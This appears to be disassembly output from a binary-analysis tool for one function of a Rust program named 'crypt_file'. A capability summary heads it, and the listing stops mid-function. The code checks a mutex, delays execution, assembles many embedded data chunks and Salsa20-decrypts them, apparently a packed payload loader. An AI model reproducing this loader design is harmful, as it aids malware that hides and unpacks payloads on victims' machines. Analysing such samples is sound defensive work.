Function at 0x1400060c0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf88
movdqa xmmword [rsp + 0xf70], xmm15
movdqa xmmword [rsp + 0xf60], xmm14
movdqa xmmword [rsp + 0xf50], xmm13
movdqa xmmword [rsp + 0xf40], xmm12
movdqa xmmword [rsp + 0xf30], xmm11
movdqa xmmword [rsp + 0xf20], xmm10
movdqa xmmword [rsp + 0xf10], xmm9
movdqa xmmword [rsp + 0xf00], xmm8
movdqa xmmword [rsp + 0xef0], xmm7
movdqa xmmword [rsp + 0xee0], xmm6
movzx eax, byte [0x140297030]
mov edx, 9
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::hd6977e2a73b8a78a
test rax, rax
je 0x140008dd7
mov r15, rax
movabs rax, 0x52475a32386e5576
mov qword [r15], rax
mov byte [r15 + 8], 0
xor ecx, ecx
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_CreateMutexA
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
jne 0x140006202
mov byte [r15], 0
mov rcx, qword [0x1402970b8]
xor edx, edx
mov r8, r15
movaps xmm6, xmmword [rsp + 0xee0]
movaps xmm7, xmmword [rsp + 0xef0]
movaps xmm8, xmmword [rsp + 0xf00]
movaps xmm9, xmmword [rsp + 0xf10]
movaps xmm10, xmmword [rsp + 0xf20]
movaps xmm11, xmmword [rsp + 0xf30]
movaps xmm12, xmmword [rsp + 0xf40]
movaps xmm13, xmmword [rsp + 0xf50]
movaps xmm14, xmmword [rsp + 0xf60]
movaps xmm15, xmmword [rsp + 0xf70]
add rsp, 0xf88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.1400f8e9c
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.KERNEL32.dll_CreateWaitableTimerExW
test rax, rax
je 0x14000627c
mov rdi, rax
mov qword [rsp + 0x660], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x660]
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_SetWaitableTimer
test eax, eax
je 0x140006274
mov rcx, rdi
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
mov ebx, eax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
cmp ebx, 0xffffffff
jne 0x140006286
jmp 0x14000627c
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
mov ecx, 0x1388
call sub.KERNEL32.dll_Sleep
lea rax, [0x1402180f2]
mov qword [rsp + 0x660], rax
mov qword [rsp + 0x668], 0x21d5
lea rax, [0x1401019b3]
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x678], 0x21d5
lea rax, [0x140103b88]
mov qword [rsp + 0x680], rax
mov qword [rsp + 0x688], 0x21d5
lea rax, [0x140105d5d]
mov qword [rsp + 0x690], rax
mov qword [rsp + 0x698], 0x21d5
lea rax, [0x140107f32]
mov qword [rsp + 0x6a0], rax
mov qword [rsp + 0x6a8], 0x21d5
lea rax, [0x14010a107]
mov qword [rsp + 0x6b0], rax
mov qword [rsp + 0x6b8], 0x21d5
lea rax, [0x14010c2dc]
mov qword [rsp + 0x6c0], rax
mov qword [rsp + 0x6c8], 0x21d5
lea rax, [0x14010e4b1]
mov qword [rsp + 0x6d0], rax
mov qword [rsp + 0x6d8], 0x21d5
lea rax, [0x140110686]
mov qword [rsp + 0x6e0], rax
mov qword [rsp + 0x6e8], 0x21d5
lea rax, [0x14011285b]
mov qword [rsp + 0x6f0], rax
mov qword [rsp + 0x6f8], 0x21d5
lea rax, [0x140114a30]
mov qword [rsp + 0x700], rax
mov qword [rsp + 0x708], 0x21d5
lea rax, [0x140116c05]
mov qword [rsp + 0x710], rax
mov qword [rsp + 0x718], 0x21d5
lea rax, [0x140118dda]
mov qword [rsp + 0x720], rax
mov qword [rsp + 0x728], 0x21d5
lea rax, [0x14011afaf]
mov qword [rsp + 0x730], rax
mov qword [rsp + 0x738], 0x21d5
lea rax, [0x14011d184]
mov qword [rsp + 0x740], rax
mov qword [rsp + 0x748], 0x21d5
lea rax, [0x14011f359]
mov qword [rsp + 0x750], rax
mov qword [rsp + 0x758], 0x21d5
lea rax, [0x14012152e]
mov qword [rsp + 0x760], rax
mov qword [rsp + 0x768], 0x21d5
lea rax, [0x140123703]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x778], 0x21d5
lea rax, [0x1401258d8]
mov qword [rsp + 0x780], rax
mov qword [rsp + 0x788], 0x21d5
lea rax, [0x140127aad]
mov qword [rsp + 0x790], rax
mov qword [rsp + 0x798], 0x21d5
lea rax, [0x140129c82]
mov qword [rsp + 0x7a0], rax
mov qword [rsp + 0x7a8], 0x21d5
lea rax, [0x14012be57]
mov qword [rsp + 0x7b0], rax
mov qword [rsp + 0x7b8], 0x21d5
lea rax, [0x14012e02c]
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], 0x21d5
lea rax, [0x140130201]
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 0x21d5
lea rax, [0x1401323d6]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 0x21d5
lea rax, [0x1401345ab]
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], 0x21d5
lea rax, [0x140136780]
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x808], 0x21d5
lea rax, [0x140138955]
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], 0x21d5
lea rax, [0x14013ab2a]
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 0x21d5
lea rax, [0x14013ccff]
mov qword [rsp + 0x830], rax
mov qword [rsp + 0x838], 0x21d5
lea rax, [0x14013eed4]
mov qword [rsp + 0x840], rax
mov qword [rsp + 0x848], 0x21d5
lea rax, [0x1401410a9]
mov qword [rsp + 0x850], rax
mov qword [rsp + 0x858], 0x21d5
lea rax, [0x14014327e]
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], 0x21d5
lea rax, [0x140145453]
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x878], 0x21d5
lea rax, [0x140147628]
mov qword [rsp + 0x880], rax
mov qword [rsp + 0x888], 0x21d5
lea rax, [0x1401497fd]
mov qword [rsp + 0x890], rax
mov qword [rsp + 0x898], 0x21d5
lea rax, [0x14014b9d2]
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x8a8], 0x21d5
lea rax, [0x14014dba7]
mov qword [rsp + 0x8b0], rax
mov qword [rsp + 0x8b8], 0x21d5
lea rax, [0x14014fd7c]
mov qword [rsp + 0x8c0], rax
mov qword [rsp + 0x8c8], 0x21d5
lea rax, [0x140151f51]
mov qword [rsp + 0x8d0], rax
mov qword [rsp + 0x8d8], 0x21d5
lea rax, [0x140154126]
mov qword [rsp + 0x8e0], rax
mov qword [rsp + 0x8e8], 0x21d5
lea rax, [0x1401562fb]
mov qword [rsp + 0x8f0], rax
mov qword [rsp + 0x8f8], 0x21d5
lea rax, [0x1401584d0]
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x908], 0x21d5
lea rax, [0x14015a6a5]
mov qword [rsp + 0x910], rax
mov qword [rsp + 0x918], 0x21d5
lea rax, [0x14015c87a]
mov qword [rsp + 0x920], rax
mov qword [rsp + 0x928], 0x21d5
lea rax, [0x14015ea4f]
mov qword [rsp + 0x930], rax
mov qword [rsp + 0x938], 0x21d5
lea rax, [0x140160c24]
mov qword [rsp + 0x940], rax
mov qword [rsp + 0x948], 0x21d5
lea rax, [0x140162df9]
mov qword [rsp + 0x950], rax
mov qword [rsp + 0x958], 0x21d5
lea rax, [0x140164fce]
mov qword [rsp + 0x960], rax
mov qword [rsp + 0x968], 0x21d5
lea rax, [0x1401671a3]
mov qword [rsp + 0x970], rax
mov qword [rsp + 0x978], 0x21d5
lea rax, [0x140169378]
mov qword [rsp + 0x980], rax
mov qword [rsp + 0x988], 0x21d5
lea rax, [0x14016b54d]
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 0x21d5
lea rax, [0x14016d722]
mov qword [rsp + 0x9a0], rax
mov qword [rsp + 0x9a8], 0x21d5
lea rax, [0x14016f8f7]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 0x21d5
lea rax, [0x140171acc]
mov qword [rsp + 0x9c0], rax
mov qword [rsp + 0x9c8], 0x21d5
lea rax, [0x140173ca1]
mov qword [rsp + 0x9d0], rax
mov qword [rsp + 0x9d8], 0x21d5
lea rax, [0x140175e76]
mov qword [rsp + 0x9e0], rax
mov qword [rsp + 0x9e8], 0x21d5
lea rax, [0x14017804b]
mov qword [rsp + 0x9f0], rax
mov qword [rsp + 0x9f8], 0x21d5
lea rax, [0x14017a220]
mov qword [rsp + 0xa00], rax
mov qword [rsp + 0xa08], 0x21d5
lea rax, [0x14017c3f5]
mov qword [rsp + 0xa10], rax
mov qword [rsp + 0xa18], 0x21d5
lea rax, [0x14017e5ca]
mov qword [rsp + 0xa20], rax
mov qword [rsp + 0xa28], 0x21d5
lea rax, [0x14018079f]
mov qword [rsp + 0xa30], rax
mov qword [rsp + 0xa38], 0x21d5
lea rax, [0x140182974]
mov qword [rsp + 0xa40], rax
mov qword [rsp + 0xa48], 0x21d5
lea rax, [0x140184b49]
mov qword [rsp + 0xa50], rax
mov qword [rsp + 0xa58], 0x21d5
lea rax, [0x140186d1e]
mov qword [rsp + 0xa60], rax
mov qword [rsp + 0xa68], 0x21d5
lea rax, [0x140188ef3]
mov qword [rsp + 0xa70], rax
mov qword [rsp + 0xa78], 0x21d5
lea rax, [0x14018b0c8]
mov qword [rsp + 0xa80], rax
mov qword [rsp + 0xa88], 0x21d5
lea rax, [0x14018d29d]
mov qword [rsp + 0xa90], rax
mov qword [rsp + 0xa98], 0x21d5
lea rax, [0x14018f472]
mov qword [rsp + 0xaa0], rax
mov qword [rsp + 0xaa8], 0x21d5
lea rax, [0x140191647]
mov qword [rsp + 0xab0], rax
mov qword [rsp + 0xab8], 0x21d5
lea rax, [0x14019381c]
mov qword [rsp + 0xac0], rax
mov qword [rsp + 0xac8], 0x21d5
lea rax, [0x1401959f1]
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0xad8], 0x21d5
lea rax, [0x140197bc6]
mov qword [rsp + 0xae0], rax
mov qword [rsp + 0xae8], 0x21d5
lea rax, [0x140199d9b]
mov qword [rsp + 0xaf0], rax
mov qword [rsp + 0xaf8], 0x21d5
lea rax, [0x14019bf70]
mov qword [rsp + 0xb00], rax
mov qword [rsp + 0xb08], 0x21d5
lea rax, [0x14019e145]
mov qword [rsp + 0xb10], rax
mov qword [rsp + 0xb18], 0x21d5
lea rax, [0x1401a031a]
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb28], 0x21d5
lea rax, [0x1401a24ef]
mov qword [rsp + 0xb30], rax
mov qword [rsp + 0xb38], 0x21d5
lea rax, [0x1401a46c4]
mov qword [rsp + 0xb40], rax
mov qword [rsp + 0xb48], 0x21d5
lea rax, [0x1401a6899]
mov qword [rsp + 0xb50], rax
mov qword [rsp + 0xb58], 0x21d5
lea rax, [0x1401a8a6e]
mov qword [rsp + 0xb60], rax
mov qword [rsp + 0xb68], 0x21d5
lea rax, [0x1401aac43]
mov qword [rsp + 0xb70], rax
mov qword [rsp + 0xb78], 0x21d5
lea rax, [0x1401ace18]
mov qword [rsp + 0xb80], rax
mov qword [rsp + 0xb88], 0x21d5
lea rax, [0x1401aefed]
mov qword [rsp + 0xb90], rax
mov qword [rsp + 0xb98], 0x21d5
lea rax, [0x1401b11c2]
mov qword [rsp + 0xba0], rax
mov qword [rsp + 0xba8], 0x21d5
lea rax, [0x1401b3397]
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbb8], 0x21d5
lea rax, [0x1401b556c]
mov qword [rsp + 0xbc0], rax
mov qword [rsp + 0xbc8], 0x21d5
lea rax, [0x1401b7741]
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 0x21d5
lea rax, [0x1401b9916]
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0xbe8], 0x21d5
lea rax, [0x1401bbaeb]
mov qword [rsp + 0xbf0], rax
mov qword [rsp + 0xbf8], 0x21d5
lea rax, [0x1401bdcc0]
mov qword [rsp + 0xc00], rax
mov qword [rsp + 0xc08], 0x21d5
lea rax, [0x1401bfe95]
mov qword [rsp + 0xc10], rax
mov qword [rsp + 0xc18], 0x21d5
lea rax, [0x1401c206a]
mov qword [rsp + 0xc20], rax
mov qword [rsp + 0xc28], 0x21d5
lea rax, [0x1401c423f]
mov qword [rsp + 0xc30], rax
mov qword [rsp + 0xc38], 0x21d5
lea rax, [0x1401c6414]
mov qword [rsp + 0xc40], rax
mov qword [rsp + 0xc48], 0x21d5
lea rax, [0x1401c85e9]
mov qword [rsp + 0xc50], rax
mov qword [rsp + 0xc58], 0x21d5
lea rax, [0x1401ca7be]
mov qword [rsp + 0xc60], rax
mov qword [rsp + 0xc68], 0x21d5
lea rax, [0x1401cc993]
mov qword [rsp + 0xc70], rax
mov qword [rsp + 0xc78], 0x21d5
lea rax, [0x1401ceb68]
mov qword [rsp + 0xc80], rax
mov qword [rsp + 0xc88], 0x21d5
lea rax, [0x1401d0d3d]
mov qword [rsp + 0xc90], rax
mov qword [rsp + 0xc98], 0x21d5
lea rax, [0x1401d2f12]
mov qword [rsp + 0xca0], rax
mov qword [rsp + 0xca8], 0x21d5
lea rax, [0x1401d50e7]
mov qword [rsp + 0xcb0], rax
mov qword [rsp + 0xcb8], 0x21d5
lea rax, [0x1401d72bc]
mov qword [rsp + 0xcc0], rax
mov qword [rsp + 0xcc8], 0x21d5
lea rax, [0x1401d9491]
mov qword [rsp + 0xcd0], rax
mov qword [rsp + 0xcd8], 0x21d5
lea rax, [0x1401db666]
mov qword [rsp + 0xce0], rax
mov qword [rsp + 0xce8], 0x21d5
lea rax, [0x1401dd83b]
mov qword [rsp + 0xcf0], rax
mov qword [rsp + 0xcf8], 0x21d5
lea rax, [0x1401dfa10]
mov qword [rsp + 0xd00], rax
mov qword [rsp + 0xd08], 0x21d5
lea rax, [0x1401e1be5]
mov qword [rsp + 0xd10], rax
mov qword [rsp + 0xd18], 0x21d5
lea rax, [0x1401e3dba]
mov qword [rsp + 0xd20], rax
mov qword [rsp + 0xd28], 0x21d5
lea rax, [0x1401e5f8f]
mov qword [rsp + 0xd30], rax
mov qword [rsp + 0xd38], 0x21d5
lea rax, [0x1401e8164]
mov qword [rsp + 0xd40], rax
mov qword [rsp + 0xd48], 0x21d5
lea rax, [0x1401ea339]
mov qword [rsp + 0xd50], rax
mov qword [rsp + 0xd58], 0x21d5
lea rax, [0x1401ec50e]
mov qword [rsp + 0xd60], rax
mov qword [rsp + 0xd68], 0x21d5
lea rax, [0x1401ee6e3]
mov qword [rsp + 0xd70], rax
mov qword [rsp + 0xd78], 0x21d5
lea rax, [0x1401f08b8]
mov qword [rsp + 0xd80], rax
mov qword [rsp + 0xd88], 0x21d5
lea rax, [0x1401f2a8d]
mov qword [rsp + 0xd90], rax
mov qword [rsp + 0xd98], 0x21d5
lea rax, [0x1401f4c62]
mov qword [rsp + 0xda0], rax
mov qword [rsp + 0xda8], 0x21d5
lea rax, [0x1401f6e37]
mov qword [rsp + 0xdb0], rax
mov qword [rsp + 0xdb8], 0x21d5
lea rax, [0x1401f900c]
mov qword [rsp + 0xdc0], rax
mov qword [rsp + 0xdc8], 0x21d5
lea rax, [0x1401fb1e1]
mov qword [rsp + 0xdd0], rax
mov qword [rsp + 0xdd8], 0x21d5
lea rax, [0x1401fd3b6]
mov qword [rsp + 0xde0], rax
mov qword [rsp + 0xde8], 0x21d5
lea rax, [0x1401ff58b]
mov qword [rsp + 0xdf0], rax
mov qword [rsp + 0xdf8], 0x21d5
lea rax, [0x140201760]
mov qword [rsp + 0xe00], rax
mov qword [rsp + 0xe08], 0x21d5
lea rax, [0x140203935]
mov qword [rsp + 0xe10], rax
mov qword [rsp + 0xe18], 0x21d5
lea rax, [0x140205b0a]
mov qword [rsp + 0xe20], rax
mov qword [rsp + 0xe28], 0x21d5
lea rax, [0x140207cdf]
mov qword [rsp + 0xe30], rax
mov qword [rsp + 0xe38], 0x21d5
lea rax, [0x140209eb4]
mov qword [rsp + 0xe40], rax
mov qword [rsp + 0xe48], 0x21d5
lea rax, [0x14020c089]
mov qword [rsp + 0xe50], rax
mov qword [rsp + 0xe58], 0x21d5
lea rax, [0x14020e25e]
mov qword [rsp + 0xe60], rax
mov qword [rsp + 0xe68], 0x21d5
lea rax, [0x140210433]
mov qword [rsp + 0xe70], rax
mov qword [rsp + 0xe78], 0x21d5
lea rax, [0x140212608]
mov qword [rsp + 0xe80], rax
mov qword [rsp + 0xe88], 0x21d5
lea rax, [0x1402147dd]
mov qword [rsp + 0xe90], rax
mov qword [rsp + 0xe98], 0x21d5
lea rax, [0x1402169b2]
mov qword [rsp + 0xea0], rax
mov qword [rsp + 0xea8], 0x1740
lea rax, [0x14021a395]
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4d8], 9
lea rax, [0x14021a2c7]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], 9
lea rax, [0x14021a2d0]
mov qword [rsp + 0x4f0], rax
mov qword [rsp + 0x4f8], 9
lea rax, [0x14021a2d9]
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], 9
lea rax, [0x14021a2e2]
mov qword [rsp + 0x510], rax
mov qword [rsp + 0x518], 9
lea rax, [0x14021a2eb]
mov qword [rsp + 0x520], rax
mov qword [rsp + 0x528], 9
lea rax, [0x14021a2f4]
mov qword [rsp + 0x530], rax
mov qword [rsp + 0x538], 9
lea rax, [0x14021a2fd]
mov qword [rsp + 0x540], rax
mov qword [rsp + 0x548], 9
lea rax, [0x14021a306]
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x558], 9
lea rcx, [0x14021a30f]
mov qword [rsp + 0x560], rcx
mov qword [rsp + 0x568], 9
lea rcx, [0x14021a318]
mov qword [rsp + 0x570], rcx
mov qword [rsp + 0x578], 9
lea rcx, [0x14021a321]
mov qword [rsp + 0x580], rcx
mov qword [rsp + 0x588], 9
lea rcx, [0x14021a32a]
mov qword [rsp + 0x590], rcx
mov qword [rsp + 0x598], 9
lea rcx, [0x14021a333]
mov qword [rsp + 0x5a0], rcx
mov qword [rsp + 0x5a8], 9
lea rcx, [0x14021a33c]
mov qword [rsp + 0x5b0], rcx
mov qword [rsp + 0x5b8], 9
mov qword [rsp + 0x5c0], rax
mov qword [rsp + 0x5c8], 9
lea rax, [0x14021a345]
mov qword [rsp + 0x5d0], rax
mov qword [rsp + 0x5d8], 9
lea rax, [0x14021a34e]
mov qword [rsp + 0x5e0], rax
mov qword [rsp + 0x5e8], 9
lea rax, [0x14021a357]
mov qword [rsp + 0x5f0], rax
mov qword [rsp + 0x5f8], 9
lea rax, [0x14021a360]
mov qword [rsp + 0x600], rax
mov qword [rsp + 0x608], 9
lea rax, [0x14021a369]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x618], 9
lea rax, [0x14021a372]
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], 9
lea rax, [0x14021a37b]
mov qword [rsp + 0x630], rax
mov qword [rsp + 0x638], 9
lea rax, [0x14021a384]
mov qword [rsp + 0x640], rax
mov qword [rsp + 0x648], 9
lea rax, [0x14021a38d]
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x658], 8
lea rax, [0x14021a3d0]
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], 6
lea rax, [0x14021a39e]
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], 6
lea rax, [0x14021a3a4]
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], 6
lea rax, [0x14021a3aa]
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x468], 6
lea rax, [0x14021a3b0]
mov qword [rsp + 0x470], rax
mov qword [rsp + 0x478], 6
lea rax, [0x14021a3b6]
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], 6
lea rax, [0x14021a3bc]
mov qword [rsp + 0x490], rax
mov qword [rsp + 0x498], 6
lea rax, [0x14021a3c2]
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4a8], 6
lea rax, [0x14021a3c8]
mov qword [rsp + 0x4b0], rax
mov qword [rsp + 0x4b8], 6
lea rax, [0x14021a3ce]
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 2
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0x660]
mov r8d, 0x85
call sym.alloc::str::join_generic_copy::ha6829e095d2276e7
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x80], rax
mov rdi, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0x4d0]
mov r8d, 0x19
mov qword [rsp + 0x68], r15
call sym.alloc::str::join_generic_copy::ha6829e095d2276e7
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x78], rax
mov rbx, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x2d0]
lea rdx, [rsp + 0x430]
mov r8d, 0xa
call sym.alloc::str::join_generic_copy::ha6829e095d2276e7
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x70], rax
mov r14, qword [rsp + 0x2e0]
lea rcx, [rsp + 0x3e8]
mov rdx, qword [rsp + 0x80]
mov r8, rdi
call sym.crypt_file::main::decode_unicode::h92bfddb004e3865b
lea rcx, [rsp + 0x3a8]
mov rdx, qword [rsp + 0x78]
mov r8, rbx
call sym.crypt_file::main::decode_unicode::h92bfddb004e3865b
lea rcx, [rsp + 0x3c0]
mov rdx, qword [rsp + 0x70]
mov r8, r14
call sym.crypt_file::main::decode_unicode::h92bfddb004e3865b
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x3b8]
cmp rax, 0x20
mov r9d, 0x20
cmovb r9, rax
test rax, rax
je 0x140008dbd
mov rdx, qword [rsp + 0x3b0]
lea rcx, [rdx + rax]
cmp rax, 1
jne 0x1400075a6
xor r8d, r8d
test r9b, 1
je 0x14000760d
cmp rdx, rcx
je 0x140007602
movzx r9d, byte [rdx]
inc rdx
jmp 0x140007605
mov r10d, r9d
and r10d, 0x3e
xor r8d, r8d
mov r11, rdx
jmp 0x1400075d4
mov byte [rsp + r8 + 0x2d1], bl
add r8, 2
mov r11, rdx
cmp r10, r8
je 0x140007592
mov rdx, rcx
cmp r11, rcx
je 0x1400075c0
lea rsi, [r11 + 1]
movzx edx, byte [r11]
mov byte [rsp + r8 + 0x2d0], dl
mov rdx, rcx
cmp rsi, rcx
je 0x1400075c0
movzx ebx, byte [r11 + 1]
add r11, 2
mov rdx, r11
jmp 0x1400075c0
mov rdx, rcx
mov byte [rsp + r8 + 0x2d0], r9b
cmp rax, 0x20
jb 0x140008dbd
cmp rdx, rcx
jne 0x140008dbd
mov rax, qword [rsp + 0x3c8]
mov rdx, qword [rsp + 0x3d0]
lea rcx, [rax + rdx]
cmp rdx, 4
jb 0x140008dbd
je 0x140008dbd
cmp rdx, 5
je 0x140008dbd
lea r9, [rax + 5]
cmp r9, rcx
je 0x140007669
movzx r8d, byte [r9]
inc r9
cmp rdx, 6
jne 0x140007676
jmp 0x140008dbd
mov r9, rcx
cmp rdx, 6
je 0x140008dbd
cmp r9, rcx
je 0x14000768d
movzx r10d, byte [r9]
inc r9
cmp rdx, 7
jne 0x14000769a
jmp 0x140008dbd
mov r9, rcx
cmp rdx, 7
je 0x140008dbd
cmp r9, rcx
je 0x1400076b1
movzx r11d, byte [r9]
inc r9
cmp rdx, 8
jae 0x1400076be
jmp 0x140008dbd
mov r9, rcx
cmp rdx, 8
jb 0x140008dbd
cmp r9, rcx
jne 0x140008dbd
movzx ecx, r8b
movzx edx, r10b
mov r9, qword [rsp + 0x3f8]
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqa xmm1, xmmword [rsp + 0x2e0]
mov r8d, dword [rax]
movzx eax, byte [rax + 4]
shl ecx, 8
or ecx, eax
shl edx, 0x10
movzx eax, r11b
shl eax, 0x18
or eax, edx
or eax, ecx
pxor xmm2, xmm2
movdqa xmmword [rsp + 0x2b0], xmm2
movdqa xmmword [rsp + 0x2a0], xmm2
movdqa xmmword [rsp + 0x290], xmm2
movdqa xmmword [rsp + 0x280], xmm2
mov dword [rsp + 0x240], 0x61707865
movdqu xmmword [rsp + 0x244], xmm0
mov dword [rsp + 0x254], 0x3320646e
mov dword [rsp + 0x258], r8d
mov dword [rsp + 0x25c], eax
mov qword [rsp + 0x260], 0
mov dword [rsp + 0x268], 0x79622d32
movdqu xmmword [rsp + 0x26c], xmm1
mov dword [rsp + 0x27c], 0x6b206574
mov rax, r9
and rax, 0xffffffffffffffc0
mov qword [rsp + 0x1c8], r9
and r9d, 0x3f
mov qword [rsp + 0x1d0], r9
test rax, rax
mov qword [rsp + 0x60], rax
je 0x140007fe1
movdqa xmm1, xmmword [rsp + 0x240]
movdqa xmm2, xmmword [rsp + 0x250]
mov ecx, dword [rsp + 0x240]
mov dword [rsp + 0xec], ecx
mov ecx, dword [rsp + 0x250]
mov dword [rsp + 0xe8], ecx
movdqa xmm3, xmmword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
mov dword [rsp + 0xe4], ecx
pshufd xmm0, xmm2, 0x55
movd dword [rsp + 0xe0], xmm0
pshufd xmm0, xmm1, 0x55
movd dword [rsp + 0xdc], xmm0
pshufd xmm0, xmm3, 0x55
movd dword [rsp + 0xd8], xmm0
pshufd xmm0, xmm2, 0xee
movd dword [rsp + 0xd4], xmm0
pshufd xmm0, xmm3, 0xee
movd dword [rsp + 0xd0], xmm0
pshufd xmm0, xmm1, 0xee
movd dword [rsp + 0xcc], xmm0
movdqa xmmword [rsp + 0xeb0], xmm3
pshufd xmm0, xmm3, 0xff
movd dword [rsp + 0xc8], xmm0
movdqa xmmword [rsp + 0xed0], xmm1
pshufd xmm0, xmm1, 0xff
movd dword [rsp + 0xc4], xmm0
movdqa xmmword [rsp + 0xec0], xmm2
pshufd xmm0, xmm2, 0xff
movd dword [rsp + 0xc0], xmm0
mov ecx, dword [rsp + 0x268]
mov dword [rsp + 0xbc], ecx
mov ecx, dword [rsp + 0x26c]
mov dword [rsp + 0xb8], ecx
xor ebx, ebx
mov rcx, qword [rsp + 0x58]
nop
mov qword [rsp + 0x3d8], rcx
mov qword [rsp + 0x3e0], rax
mov r11, rbx
shr r11, 0x20
mov qword [rsp + 0x260], rbx
mov eax, 0xa
mov qword [rsp + 0x90], rax
mov eax, dword [rsp + 0xec]
mov r9d, eax
mov eax, dword [rsp + 0xe4]
mov r10d, eax
mov eax, dword [rsp + 0xe8]
mov qword [rsp + 0x88], rbx
mov ecx, dword [rsp + 0xe0]
mov r8d, ecx
mov ecx, dword [rsp + 0xdc]
mov r13d, ecx
mov ecx, dword [rsp + 0xd8]
mov edx, dword [rsp + 0xbc]
mov esi, edx
mov edx, dword [rsp + 0xd4]
mov r12d, edx
mov edx, dword [rsp + 0xd0]
mov edi, dword [rsp + 0xcc]
mov r15d, edi
mov edi, dword [rsp + 0xc8]
mov ebp, dword [rsp + 0xb8]
mov r14d, ebp
mov ebp, dword [rsp + 0xc4]
mov qword [rsp + 0x38], rbp
mov ebp, dword [rsp + 0xc0]
nop word cs:[rax + rax]
mov qword [rsp + 0x40], rbp
lea ebp, [r10 + r9]
rol ebp, 7
xor ebp, eax
lea eax, [r9 + rbp]
rol eax, 9
xor eax, ebx
mov rbx, rax
mov qword [rsp + 0xa8], rax
add eax, ebp
rol eax, 0xd
xor eax, r10d
mov qword [rsp + 0xb0], rax
add eax, ebx
rol eax, 0x12
xor eax, r9d
lea r10d, [r8 + r13]
rol r10d, 7
xor r10d, r11d
lea r11d, [r10 + r8]
rol r11d, 9
xor r11d, ecx
mov qword [rsp + 0xa0], r11
lea r9d, [r11 + r10]
rol r9d, 0xd
xor r9d, r13d
lea ecx, [r9 + r11]
rol ecx, 0x12
xor ecx, r8d
lea r8d, [r12 + rsi]
rol r8d, 7
xor r8d, edx
mov qword [rsp + 0x98], r8
lea ebx, [r8 + rsi]
rol ebx, 9
xor ebx, r15d
add r8d, ebx
rol r8d, 0xd
xor r8d, r12d
lea edx, [r8 + rbx]
rol edx, 0x12
xor edx, esi
lea r12d, [r14 + rdi]
rol r12d, 7
xor r12d, dword [rsp + 0x38]
lea esi, [r12 + rdi]
rol esi, 9
xor esi, dword [rsp + 0x40]
lea r11d, [rsi + r12]
rol r11d, 0xd
xor r11d, r14d
lea r14d, [r11 + rsi]
rol r14d, 0x12
xor r14d, edi
mov qword [rsp + 0x40], r14
lea r13d, [r12 + rax]
rol r13d, 7
xor r13d, r9d
lea r15d, [rax + r13]
rol r15d, 9
xor r15d, ebx
lea r9d, [r15 + r13]
rol r9d, 0xd
xor r9d, r12d
mov qword [rsp + 0x38], r9
add r9d, r15d
rol r9d, 0x12
xor r9d, eax
mov rdi, rbp
lea r12d, [rcx + rbp]
rol r12d, 7
xor r12d, r8d
lea ebp, [r12 + rcx]
rol ebp, 9
xor ebp, esi
lea eax, [r12 + rbp]
